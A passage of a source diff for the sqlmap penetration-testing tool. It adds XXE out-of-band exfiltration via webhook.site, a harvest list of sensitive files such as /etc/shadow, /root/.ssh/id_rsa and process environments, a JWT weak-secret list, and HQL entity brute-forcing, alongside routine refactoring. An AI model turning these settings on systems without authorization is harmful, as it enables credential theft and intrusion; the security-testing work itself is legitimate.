+OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") +# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration +# (hosts the malicious external DTD and captures the file-bearing callback). Unlike +# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent. +OOB_EXFIL_ENDPOINT = "https://webhook.site" +OOB_CORRELATION_ID_LENGTH = 20 +OOB_NONCE_LENGTH = 13 +OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the +OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort) + +# Time-based blind tier: an external entity aimed at this non-routable RFC5737 +# TEST-NET-1 host makes a fetching parser stall on the connection, so a large, +# reproducible response delay betrays otherwise-blind XXE with NO collector needed. +# The delay must exceed a DTD-processing control baseline by this many seconds. +XXE_BLACKHOLE_HOST = "192.0.2.1" +XXE_TIME_THRESHOLD = 5 + +# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a +# working injection point (a schema-validated or non-reflected first node otherwise hides the finding); +# bounds the request cost on documents with many text nodes +XXE_LOCATION_SWEEP_MAX = 12 + +# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based +# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). +# A match means the injection reached the ORM query parser (not the SQL layer), +# which is what distinguishes HQL injection from ordinary SQL injection. +HQL_ERROR_SIGNATURES = ( + ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"), + ("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"), + ("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"), + ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"), + ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"), + ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"), +) + +HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) + +# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full +# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in +# tutorials, framework defaults and CTFs +JWT_COMMON_SECRETS = ("secret", "password", "changeme", "admin", "test", "jwt", "key", "private", + "your-256-bit-secret", "your_jwt_secret", "supersecret", "secretkey", "s3cr3t", "1234567890", + "qwerty", "root", "token", "default", "example", "mysecret", "jwtsecret", "signingkey") + +# Upper bound on candidate secrets tried during the offline '--jwt' HMAC crack (keeps a huge custom +# wordlist from turning an audit into an unbounded brute-force) +JWT_MAX_CRACK_WORDS = 2000000 + +# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the +# ORM equivalent of a leaked table name; HQL has no information_schema so error-based +# leakage is the native way to learn the entity model). First capture group = name. +HQL_ENTITY_REGEX = ( + r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'", + r"resolve root entity '([^']+)'", + r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped", +) + +# Printable-ASCII codepoint bounds bisected during HQL blind character extraction +HQL_CHAR_MIN = 0x20 +HQL_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during HQL blind extraction +HQL_MAX_LENGTH = 256 + +# Maximum number of attributes to enumerate per entity during HQL blind extraction +HQL_MAX_FIELDS = 64 + +# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump +HQL_MAX_RECORDS = 100 + +# Common mapped entity names brute-forced through the boolean oracle when the app +# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an +# unmapped one raises UnknownEntityException and reads as false). +HQL_COMMON_ENTITIES = ( + "User", "Users", "Account", "Accounts", "Member", "Members", "Customer", + "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential", + "Profile", "Role", "Client", "Contact", "Company", "Product", "Order", + "Item", "Article", "Post", "Comment", "Category", "Document", "File", + "Message", "Group", "Session", "Token", "Application", "Setting", +) + +XXE_IMPACT_FILES = ( + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal + ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), +) + +# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests +# this curated set of high-value, fixed-path files (host identity, process env/ +# secrets, key material, common application drop paths) - the XXE analogue of the +# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each +# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently +# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids +# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are +# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted +# request is honoured verbatim instead). +XXE_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/os-release", + "/etc/shadow", + "/etc/group", + "/proc/self/environ", + "/proc/self/cmdline", + "/proc/self/status", + "/proc/version", + "/root/.bash_history", + "/root/.ssh/id_rsa", + "/flag", + "/flag.txt", + "c:/windows/win.ini", + "c:/windows/system32/drivers/etc/hosts", + "c:/inetpub/wwwroot/web.config", +) + +# Application web roots + source filenames used, once php://filter is available, to +# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its +# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter +# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline, +# environ}. Best-effort and bounded. +XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app") +XXE_SOURCE_NAMES = ( + "index.php", "config.php", "config.inc.php", "secret.php", + "db.php", "database.php", "settings.php", "init.php", "functions.php", + "app.py", "server.py", "main.py", "wp-config.php", ".env", +) + +# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: +# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle +# an error/exfil primitive, so no outbound network is needed. (path, entity_name). +# Windows paths are community-sourced and remain UNVERIFIED vendor-side. +XXE_LOCAL_DTDS = ( + ("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable + ("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package + ("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"), + ("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile + ("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED + ("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"), + ("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"), + ("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"), +) + +# Length of prefix and suffix used in non-SQLI heuristic checks +NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 + +# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections) +MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled +KEEPALIVE_MAX_REQUESTS = 1000 + +# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled +KEEPALIVE_IDLE_TIMEOUT = 30 + +# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) +MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 + +# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.) +HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 + # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 -# Mark used for trimming unnecessary content in large chunks -LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" +# Mark used for trimming unnecessary content in large connection reads +LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation -GENERIC_SQL_COMMENT = "-- " +GENERIC_SQL_COMMENT = "-- [RANDSTR]" # Threshold value for turning back on time auto-adjustment mechanism VALID_TIME_CHARS_RUN_THRESHOLD = 100 @@ -562,11 +1371,20 @@ # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 +# Threshold for checking types of columns in case of SQLite dump format +CHECK_SQLITE_TYPE_THRESHOLD = 100 + # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") + +# Regular expression used to search for bold-patterns +BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) + +# TLDs used in randomization of email-alike parameter values +RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names -GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 @@ -575,7 +1393,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal") +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' @@ -586,23 +1404,47 @@ # Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems) LIMITED_ROWS_TEST_NUMBER = 15 +# Default adapter to use for bottle server +RESTAPI_DEFAULT_ADAPTER = "wsgiref" + +# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version. +# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response), +# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes. +# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI +# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes. +# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape +# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added). +RESTAPI_VERSION = "2.0.0" + +# Default REST API server listen address +RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" + +# Default REST API server listen port +RESTAPI_DEFAULT_PORT = 8775 + +# Unsupported options by REST API server +RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson") + +# Use "Supplementary Private Use Area-A" +INVALID_UNICODE_PRIVATE_AREA = False + # Format used for representing invalid unicode characters -INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" +INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|-?\d+(?:\.\d+)?|true|false|null|\[|\{).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data -JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|-?\d+(?:\.\d+)?|\{).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data -ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) +ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" @@ -616,6 +1458,9 @@ # Minimum size of an (binary) entry before it can be considered for dumping to disk MIN_BINARY_DISK_DUMP_SIZE = 100 +# Filenames of payloads xml files (in order of loading) +PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml") + # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" @@ -626,28 +1471,31 @@ MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized -METASPLOIT_SESSION_TIMEOUT = 300 +METASPLOIT_SESSION_TIMEOUT = 180 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 -# Suffix used to mark variables having keyword names -EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" +# Prefix used to mark special variables (e.g. keywords, having special chars, etc.) +EVALCODE_ENCODED_PREFIX = "EVAL_" + +# Reference: https://en.wikipedia.org/wiki/Zip_(file_format) +ZIP_HEADER = b"\x50\x4b\x03\x04" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens -CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token", "nonce") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), - OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/usr/share/nginx/html", "/srv/www", "/srv/http", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), + OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root -BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build") +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "public_html", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" @@ -658,6 +1506,12 @@ # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" +# Printable bytes +PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) + +# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) +HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") + # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" + +# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) +for key, value in os.environ.items(): + if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): + _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() + if _ in globals(): + original = globals()[_] + if isinstance(original, bool): + globals()[_] = value.lower() in ('1', 'true') + elif isinstance(original, int): + try: + globals()[_] = int(value) + except ValueError: + pass + elif isinstance(original, float): + try: + globals()[_] = float(value) + except ValueError: + pass + elif isinstance(original, (list, tuple)): + globals()[_] = [__.strip() for __ in value.split(',')] + else: + globals()[_] = value diff --git a/lib/core/shell.py b/lib/core/shell.py index 7b53bc3893e..8fde1456409 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,21 +1,48 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import atexit import os -import rlcompleter from lib.core import readlineng as readline +from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS +from lib.core.settings import IS_WIN from lib.core.settings import MAX_HISTORY_LENGTH +try: + import rlcompleter + + class CompleterNG(rlcompleter.Completer): + def global_matches(self, text): + """ + Compute matches when text is a simple name. + Return a list of all names currently defined in self.namespace + that match. + """ + + matches = [] + n = len(text) + + for ns in (self.namespace,): + for word in ns: + if word[:n] == text: + matches.append(word) + + return matches +except: + readline._readline = None + +_atexitRegistered = False +_activeCompletion = None + def readlineAvailable(): """ Check if the readline is available. By default @@ -31,28 +58,33 @@ def clearHistory(): readline.clear_history() def saveHistory(completion=None): - if not readlineAvailable(): - return - - if completion == AUTOCOMPLETE_TYPE.SQL: - historyPath = paths.SQL_SHELL_HISTORY - elif completion == AUTOCOMPLETE_TYPE.OS: - historyPath = paths.OS_SHELL_HISTORY - else: - historyPath = paths.SQLMAP_SHELL_HISTORY - try: - with open(historyPath, "w+"): + if not readlineAvailable(): + return + + if completion == AUTOCOMPLETE_TYPE.SQL: + historyPath = paths.SQL_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.OS: + historyPath = paths.OS_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.API: + historyPath = paths.API_SHELL_HISTORY + else: + historyPath = paths.SQLMAP_SHELL_HISTORY + + try: + with open(historyPath, "w+"): + pass + except: pass - except: - pass - readline.set_history_length(MAX_HISTORY_LENGTH) - try: - readline.write_history_file(historyPath) - except IOError, msg: - warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) - logger.warn(warnMsg) + readline.set_history_length(MAX_HISTORY_LENGTH) + try: + readline.write_history_file(historyPath) + except IOError as ex: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) + logger.warning(warnMsg) + except KeyboardInterrupt: + pass def loadHistory(completion=None): if not readlineAvailable(): @@ -64,33 +96,22 @@ def loadHistory(completion=None): historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY + elif completion == AUTOCOMPLETE_TYPE.API: + historyPath = paths.API_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: readline.read_history_file(historyPath) - except IOError, msg: - warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg) - logger.warn(warnMsg) - -class CompleterNG(rlcompleter.Completer): - def global_matches(self, text): - """ - Compute matches when text is a simple name. - Return a list of all names currently defined in self.namespace - that match. - """ - - matches = [] - n = len(text) - - for ns in (self.namespace,): - for word in ns: - if word[:n] == text: - matches.append(word) - - return matches + except IOError as ex: + warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex)) + logger.warning(warnMsg) + except UnicodeError: + if IS_WIN: + warnMsg = "there was a problem loading the history file '%s'. " % historyPath + warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + logger.warning(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): @@ -100,20 +121,25 @@ def autoCompletion(completion=None, os=None, commands=None): if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ - "copy": None, "del": None, "dir": None, - "echo": None, "md": None, "mem": None, - "move": None, "net": None, "netstat -na": None, - "ver": None, "xcopy": None, "whoami": None, - }) + "attrib": None, "copy": None, "del": None, + "dir": None, "echo": None, "fc": None, + "label": None, "md": None, "mem": None, + "move": None, "net": None, "netstat -na": None, + "tree": None, "truename": None, "type": None, + "ver": None, "vol": None, "xcopy": None, + }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ - "cp": None, "rm": None, "ls": None, - "echo": None, "mkdir": None, "free": None, - "mv": None, "ifconfig": None, "netstat -natu": None, - "pwd": None, "uname": None, "id": None, - }) + "cat": None, "chmod": None, "chown": None, + "cp": None, "cut": None, "date": None, "df": None, + "diff": None, "du": None, "echo": None, "env": None, + "file": None, "find": None, "free": None, "grep": None, + "id": None, "ifconfig": None, "ls": None, "mkdir": None, + "mv": None, "netstat": None, "pwd": None, "rm": None, + "uname": None, "whoami": None, + }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") @@ -125,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None): readline.parse_and_bind("tab: complete") loadHistory(completion) - atexit.register(saveHistory, completion) + + # Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the + # currently active shell. Registering a fresh atexit handler per call would make every shell + # write that one global buffer to its own path at exit, clobbering the others. Instead register + # a single handler that saves only the shell active at exit. + global _atexitRegistered, _activeCompletion + _activeCompletion = completion + if not _atexitRegistered: + atexit.register(lambda: saveHistory(_activeCompletion)) + _atexitRegistered = True diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index eee73afddd2..a8c867a5dd9 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,16 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import errno import os import subprocess -import sys import time +from lib.core.compat import buffer +from lib.core.convert import getBytes from lib.core.settings import IS_WIN if IS_WIN: @@ -24,20 +27,15 @@ import select import fcntl - if (sys.hexversion >> 16) >= 0x202: - FCNTL = fcntl - else: - import FCNTL - def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor - output = "" + output = b"" while True: try: output += os.read(fd, 8192) - except (OSError, IOError), ioe: + except (OSError, IOError) as ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time @@ -58,7 +56,7 @@ def blockingWriteToFD(fd, data): try: data_length = len(data) wrote_data = os.write(fd, data) - except (OSError, IOError), io: + except (OSError, IOError) as io: if io.errno in (errno.EAGAIN, errno.EINTR): continue else: @@ -77,7 +75,7 @@ def recv(self, maxsize=None): def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) - def send_recv(self, input='', maxsize=None): + def send_recv(self, input=b'', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): @@ -91,18 +89,18 @@ def _close(self, which): getattr(self, which).close() setattr(self, which, None) - if subprocess.mswindows: + if IS_WIN: def send(self, input): if not self.stdin: return None try: x = msvcrt.get_osfhandle(self.stdin.fileno()) - (errCode, written) = WriteFile(x, input) - except ValueError: + (_, written) = WriteFile(x, input) + except (ValueError, NameError): return self._close('stdin') - except (subprocess.pywintypes.error, Exception), why: - if why[0] in (109, errno.ESHUTDOWN): + except Exception as ex: + if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise @@ -115,15 +113,15 @@ def _recv(self, which, maxsize): try: x = msvcrt.get_osfhandle(conn.fileno()) - (read, nAvail, nMessage) = PeekNamedPipe(x, 0) + (read, nAvail, _) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: - (errCode, read) = ReadFile(x, nAvail, None) + (_, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) - except (subprocess.pywintypes.error, Exception), why: - if why[0] in (109, errno.ESHUTDOWN): + except Exception as ex: + if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): return self._close(which) raise @@ -140,8 +138,8 @@ def send(self, input): try: written = os.write(self.stdin.fileno(), input) - except OSError, why: - if why[0] == errno.EPIPE: # broken pipe + except OSError as ex: + if ex.args[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise @@ -189,14 +187,21 @@ def recv_some(p, t=.1, e=1, tr=5, stderr=0): y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) - return ''.join(y) + return b''.join(getBytes(i) for i in y) def send_all(p, data): if not data: return + data = getBytes(data) + while len(data): sent = p.send(data) if not isinstance(sent, int): break - data = buffer(data, sent) + if sent == 0: + # Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable; + # back off briefly instead of busy-spinning at 100% CPU until the child drains it + time.sleep(0.01) + continue + data = buffer(data[sent:]) diff --git a/lib/core/target.py b/lib/core/target.py index 98101d433f1..2586f7563ad 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,28 +1,36 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs import functools import os import re +import subprocess +import sys import tempfile import time -import urlparse from lib.core.common import Backend -from lib.core.common import getUnicode +from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import intersect +from lib.core.common import isNumPosStrValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paramToDict +from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import removePostHintPrefix from lib.core.common import resetCookieJar +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue from lib.core.common import urldecode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -34,29 +42,33 @@ from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException +from lib.core.option import _setAuthCred from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes -from lib.core.option import _setAuthCred +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES -from lib.core.settings import 